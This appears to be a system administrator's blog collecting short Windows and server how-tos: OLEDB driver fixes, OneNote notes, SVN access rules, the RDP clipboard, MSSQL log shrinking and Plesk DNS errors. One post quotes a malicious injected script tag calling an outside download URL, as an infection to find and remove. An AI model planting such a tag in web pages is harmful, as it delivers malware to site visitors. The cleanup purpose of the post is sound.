Windows: The ‘Microsoft.ACE.OLEDB.12.0’ provider error

Usually in Windows Server 2008 R2 or any related Windows operating system which run on 64bit, you might facing following error if you want to run some applications:

Unhandled exception has occurred in your application. If you click Continue, the application will ignore this error and attempt to continue. If you click Quit, the application will close immediately.
 
Object reference not set to an instance of an object.
The 'Microsoft.ACE.OLEDB.12.0' provider is not registered on the local machine.

Or in the screenshot version as below:

What you need to do to solve this problem is:

1. Download the Microsoft Access Database Engine 2010 Redistributable 64bit at here. Download the correct version which is “AccessDatabaseEngine_x64.exe”.

2. Uninstall the older version of Microsoft Access Database Engine (usually the version of 2007). Go to:

Control Panel > Add/Remove Program > Microsoft Access Database Engine 2007 > Right click > Uninstall

3. Install the one that we just download. This installation should install the latest OLE DB and ODBC version 14.0 (during this time) where you can check at:

Control Panel > System and Security > Administrative Tools > Data Sources (ODBC) > Drivers

Done. Even though the version is higher, this ODBC and OLEDB driver are backward compatible. You can try to re-run back the application and the error should disappear at this moment. Cheers!

The Best Way to do Server Documentation

As a server administrator, it is very important to have a knowledge base section as our reference point. Forget can never be forgiven. You can use any online documentation tools like Google Docs, Zoho, Evernote and  Office 365. For me I will use Microsoft Office OneNote 2010, which is come in my office laptop as part of Microsoft Office Professional Plus 2010.

The key features that I am looking is transparent synchronization with my online docs. Since I have my Windows Live login, which previously registered for MSN Messenger, I can integrate my local OneNote in my laptop into OneNote in Windows SkyDrive. How cool is that?

The best thing about OneNote is you can write, copy/paste, erase, draw just like a note book. It also has protected section where you can put and store your sensitive and confidential information securely.

Following YouTube video is simple tutorial on how to use OneNote:

Requirement:

OS: Windows 7 Home Premium 64bit
Office application: Microsoft Office OneNote 2010
Windows Live ID: [email protected]
Web browser: Internet Explorer 9 64bit

1. First of all, register your Windows Live ID (if you dont have) at https://signup.live.com/ so we can sync our notes to SkyDrive.

2. Login into SkyDrive at https://skydrive.live.com using Internet Explorer. Click the OneNote icon as screenshot below and create new Notebooks:

 

3. You should see something like screenshot below. I will then create my own section called “Linux” and another new page called “My 1st Documentation“:

4. Now open our Microsoft OneNote in the laptop. Go to Open > Open from the Web > Sign In. Enter you Windows Live ID credentials and click OK.

5. OneNote will then try to retrieve the online Notebooks associated with the user. Once done, click to the Notebooks list “ServerDocumentation” and then it will try to load the content of this notebook on the local OneNote. Below screenshot is what it looks alike when loaded into our local OneNote:

Done! You now have your tools to save all your notes, knowledge base, clips, and much more which accessible all around the world. You can choose to use local OneNote in your laptop or use OneNote WebApp which available at SkyDrive by accessing it using your web browser (not specifically IE). This application do not have “Save” button because it is automatically saved on any changes happen on both sides. Just like your notes!

Windows: Reboot Server on Specific Time

Windows Update is surely an important application and need to be enabled when using Windows server. The problem with Windows Update is it usually need to be rebooted after any update applied. This will add another job to system administrator because rebooting a server will cause downtime, and any cause of downtime will affect on system availability.

By using AT command in command prompt, we can schedule a server reboot on any specific time we wants. The time must be in 24-hours format and follow with shutdown command as below:

C:\Users\Administrator> at 22:00 shutdown /r /f /t 0
Added a new job with job ID = 1

It just a simple command but it can automate server administrator job!

System Administration: Managing Remote Location

As a system administrator which administrating many branches, I need to support the end-user environment as well. Doing this from single location is quite hard and I need to create the best environment to manage all of these stuffs efficiently.

I am listing out some tips or what we can do to improve communication and collaboration between branches:

VPN between branches

  • VPN has ability to bring all of the computers in different branches connected to each other via a secured network. This will make sure that data communication between colleagues is protected and user can feel like they are in one single place.
  • The recommended way to do this is to setup a VPN (PPTP) server at one location (lets say head quarter). Create VPN account and assign to everyone in the company with dedicated internal IP (for better tracking).
  • All sensitive information should be located in one place and can only been accessed via VPN connectivity. This will prevenet data leakage and you have logs to every access to the internal system via VPN server.

Internal instant messaging system (chat)

  • Instant messaging is important to improve communication and collaboration. You can use any messaging service available online like GTalk, MSN Messenger, Yahoo Messenger and Skype. It depends on you, but it is highly recommended to use internal instant messenger system like Microsoft Lync 2010, BigAnt Office Messenger, Outlook Messenger and many more.
  • Using internal messenger will give some advantages like:
    • Prevent employee to chat with gossip friends (if you are using public messenger like GTalk and MSN)
    • Simple file transfer and sharing
    • Can back trace the chat history, if the boss suspected something is not right with employee (Good for the boss!)
    • Prevent outsider from sniffing your conversation

DMZ zone

  • Depending on how your network infrastructure being setup, you may need to have DMZ zone available to secure the internal network. DMZ zone is something that we called ‘another network zone that exposed to the public network’. Basically, it help you to isolate your internal network and in the same time able can connect to the web server that exposed to the public network.
  • Example of simple DMZ setup:
  • This is example if you not setup a DMZ with same peripherals as above:
     You can notice how unsecured it can be if you include the servers in one internal network.
  • To setup DMZ, what you need to do is just:
    • Create another network in your router with another subnet and IP range
    • Make sure the incoming connection from public network to web and email service to DMZ only via router
    • Make sure your internal LAN can be connected to DMZ via router
    • Make sure your external firewall blocks all incoming connection unless for web, email and NAT

Network drive and file sharing

  • File sharing and network drive is needed whenever users need to send big files, usually more than 10MB which usually not recommended to be sent via instant messenger or email.
  • The most popular and easy to setup file sharing is SAMBA, where you can map directly in each PC to the public sharing directory. SAMBA server/client comes by default for Windows, Mac and Linux.
  • Using VPN which connect all employees in one secure network will make SAMBA easier to setup and implement.
  • Other file sharing protocol like FTP might be time consuming to setup and slow due to binary data transfer. NFS in other hand is not come by default in Windows and you need to install the client to connect.

Collaboration portal

  • This is really important if you rely on the teamwork. Collaboration portal is something that most of companies think that is is a waste and should not be implement. This is wrong. I am suggesting you to try any collaboration portal and install it in your private server. Play around with that and you will see the importance of it.
  • Collaboration portal can help you to achieve:
    • Create, manage and monitor project, task and  report and assign it to users
    • One central point to store and share confidential document
    • Applying leave and check leave balance
    • Synchronize and connect the account to mail, calendar, instant messaging, active directory, CRM and other services
    • Edit the any document online, without need to download and resend it back
  • There are a lot of collaborative software available in the market and some of it is open-source. You can browse the list at http://en.wikipedia.org/wiki/List_of_collaborative_software

This is what I manage to setup the network office on company that I am working for. Do share with us if you have more point to highlight!

Subversion Authz Examples

After Subversion server already delivered, I need to deliver some ACL (Access Control List) so everyone can access to their repository respectively.

By understanding some rules at Subversion Path-based Authorization, we can create a great ACL so it can guarantee no repository can be overwritten by unwanted person. In order to deliver Path-based ACL, we need to have following options enabled in the svnserve.conf:

anon-access = none
auth-access = write
password-db = passwd
authz-db = authz
realm = My Subversion Repository

Following example is for 2 different developer team (PHP and Ruby) which accessing one repository under /svn directory in the server. The SVN path is: svn://192.168.1.100/svnrep . We also have boss and system administrator to be act as the admin/owner of the system.

In my /svn/conf/authz file, I have to put following directives with description:

# User defined in group
[groups]
admin = boss, sysadmin
phpteam = php1, php2, php3
rubyteam = ruby1, ruby2
 
# SVN root should only be access by boss and system admin
[/]
@admin = rw
* =
 
# Main web repository should only be access by boss and system admin, others cannot read/write at all
# By specifying svn path, we need to list which user/group who can and cannot access
[/web]
@admin = rw
* =
 
# PHP project repository can only be access by php developer, boss and sys admin
# By specifying svnrep: directive, we just need to list which user/group who can access
# Others will automatically rejected
[svnrep:/web/php]
@phpteam = rw
@admin = rw
 
# Ruby project repository can only be access by Ruby developer, boss and sys admin
# By specifying svnrep: directive, we just need to list which user/group who can access
# Others will automatically rejected
[svnrep:/web/ruby]
@rubyteam = rw
@admin = rw

After we create the ACL, the changes will takes immediately without restart. Our PHP team can now deliver their development work without interuption from Ruby development team, while in other hand, the boss can monitor their progress and the system administrator can still manage and perform maintenance for the Subversion repository.

Unable to Copy/Paste in Remote Desktop

Remote Desktop Connection (RDC) is most important stuff you need to have in order to manage Windows server using Remote Desktop Protocol (RDP).

Sometimes, when you been forcely disconnected from the RDC session, you cannot use copy and paste features between your host and remote host on the next session. For those who are facing this problem frequently, we need to reset the rdpclip.exe and rerun again. No need to restart the server remote server (like what I have done when I first encounter this problem).

To do this, login to the remote server via RDC and open Task Manager. Find rdpclip.exe > right click on it and ‘End Process Tree‘.

After that you need to restart again the process by opening Task Manager > New Task > type ‘rdpclip‘ > OK.

Voila! Your copy/paste function or as known as clipboard is working back!

Handling 500 Internal Server Error

What usually caused this?

It means that the web server facing ‘internal‘ error before the output can be deliver to client. Basically something has gone wrong, but the server can not be more specific about the error condition. Since web server can be integrated with so many modules inside, this may cause by one of the module facing error when web server received the data from them.

 

Can you give me some example?

  • An error in a CGI script that caused it to fail or output an error message before it started producing valid HTML. It usually happens if you have a syntax error in one of Perl/PHP CGI scripts.
  • A permissions issue attempting to access a CGI script. Depending on how your web server is configured, quite often it’s not enough for the script to have “execute” permission, but it must also be owned by the correct user, and belong to the correct group.
  • Invalid custom configuration files like .htaccess, web.config, version  incompatibility or wrong syntax applied

What you need to check?

Continue reading “Handling 500 Internal Server Error” »

Windows: Find And Replace Text Command Line Utility

FART or Find And Replace Text command line utility is a Windows improved version of the well-known ‘grep‘ command, with advanced features such as: case-adaption of the replace string; find (and replace) in filenames or auto CVS edit. You can download from Sourceforge and integrate it into your Windows environment.

Why We Need This?

For me, Windows Server 2008 R2 search tool is not really good, where its hard for me to find/replace some text into all files in certain directory recursively. Since I have experience in managing Linux box (using command line), it is really convenience to have something command-line based to do this for you.

Lets say something wrong happen to your website, which being injected, similar to this post http://blog.secaserver.com/2011/07/remove-specific-string-in-text-files/, but happen in Windows server, then this is what you need.

Here is my environment:

OS: Windows 2008 R2 64bit
Directory: C:\user1\public_html
Infected files: All .html files under this directory
Infected code: “<script src=http://rysawek.cz.cc/web/fol/download.php ></script>”

1. Download the application at Sourceforge, http://sourceforge.net/projects/fart-it/

2. Extract the zip files somewhere and you will see there is one file inside called fart.exe. Move or copy it to C:\Windows\system32.

Continue reading “Windows: Find And Replace Text Command Line Utility” »

Shrink MSSQL Database Transaction Logs

Have you ever encounter problem when managing MSSQL databases, the transactions logs is eating up your hard disk if you not initially configured to be limit in growth value. So, when you see this kind of problem, you actually can shrink the transaction log, and then change the limit of growth value using MSSQL Management Studio.

1. Open MSSQL Management Studio

2. Open the SQL command windows and put following lines

USE <DatabaseName>
GO
DBCC SHRINKFILE(<TransactionLogName>, 1)
BACKUP LOG <DatabaseName> WITH TRUNCATE_ONLY
DBCC SHRINKFILE(<TransactionLogName>, 1)
GO
									

Replace the <DatabaseName> and <TransactionLogName> with respective value and execute the SQL. Now your transaction logs will be shrinked and you will save a lot of disk space. Do not forget to do the prevention action afterwards!

Plesk – DNS error (Error code 80)

Error code:

-----------------------------------------------------------------
Set default component failed: defpackagemng failed: Execute dnsmng.exe REMOVE * failed: The file exists. (Error code 80) at GetTempFileName in C:\Program Files\Parallels\Plesk\admin\db
Execute dnsmng.exe UPDATE * failed: The file exists. (Error code 80) at GetTempFileName in C:\Program Files\Parallels\Plesk\admin\db
------------------------------------------------------------------

or

-----------------------------------------------------------------
Set default component failed: defpackagemng failed: Execute dnsmng.exe REMOVE * failed: The file exists. (Error code 80) at GetTempFileName in C:\Windows\Temp
Execute dnsmng.exe UPDATE * failed: The file exists. (Error code 80) at GetTempFileName in C:\Windows\Temp
------------------------------------------------------------------

Consequence:
DNS Server is switched off or unavailable to lookup DNS zone

Solution:
Remove the temporary files by navigate to correct path and run delete the Plesk temporary files. In this case, we will use CMD to solve error no 1:

cd "C:\Program Files\Parallels\Plesk\admin\db"
del /F /S /Q tmp*.tmp

Try adding back the DNS server by login into Plesk > Settings > Server Components > DNS Server, select BIND and click OK.